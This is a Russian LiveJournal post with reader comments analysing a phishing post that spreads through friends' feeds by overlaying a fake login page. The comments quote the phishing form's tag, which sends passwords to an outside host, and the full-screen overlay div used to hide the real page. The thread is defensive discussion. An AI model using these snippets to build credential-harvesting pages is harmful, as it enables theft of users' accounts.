Нашел один фишинговый пост

[pargentum]

Если открыть ленту друзей object , наблюдается ровно тот эффект, о котором шла речь в предыдущем посте (лента заменяется на "страницу логина"). 
Занятная странность - судя по размерам и положению вертикального скроллбара страница очень длинная, но при движении скроллбара ничего не скроллится.

Если открыть исходники страницы, там можно увидеть нормальный контент френдленты с нормальными телами постов в котором вдруг встречается пост http://annyway.livejournal.com/515241.html?nohtml=1 (параметр nohtml добавлен мной вручную, он заставляет показать исходник поста.  Без этого параметра лучше не открывать, это и есть фишинговая страница!).  В теле поста встречаются слова "войти через фэйсбук" и всякие плюшки с форматированием, которые - я еще не разобрался, но, похоже, они вполне могут вызвать наблюдаемый эффект.

Кто такой annyway?  Ее/его поломали?

Comments

[mixalych.livejournal.com]

Таких постов полно по френдлентам - это те, кто таки ввели пароль в форме-перехватчике.

хацкер к счастью оказался криворук - если бы после ввода пароля в фишинг-странице и последующего постинга зараженного поста скрипт умно отфильтровывал для пораженных юзеров френдленту, прозрачно удаляя фишинг-посты и показывал бы типа-нормальную френдленту, то все зашло бы гораздо дальше и дольше.

[elensefar.livejournal.com]

#<# form name="login" method="post" action="http://ohtoenequ1.getenjoyment.net/index.php" id="login" #>#

[elensefar.livejournal.com]

че-то я вам тут наспамил как в своем журнале. вероятно просто обычная форма с action = http://ohtoenequ1.getenjoyment.net/index.php
надо попробовать, опера варнингов не пишет ли при этом?

[peon-ninja.livejournal.com]

Насколько я понимаю, у инфицированых к телу поста добавляется див который позиционирует себя используя абсолютные координаты над всем остальным содержанием.

<div class="b-fader" style="top: 0px; left: 0px; width: 100%; height: 100%; ...> ..</div>
</pre>


Гадость но.. если ничего не вводить, то не более. Не совсем понятны наезды на СУП, если честно.

[peon-ninja.livejournal.com]

что-то с форматированием не так. И это СУП.

[svinkina.livejournal.com]

Эннивей симпатичная и порядочная русская эстонка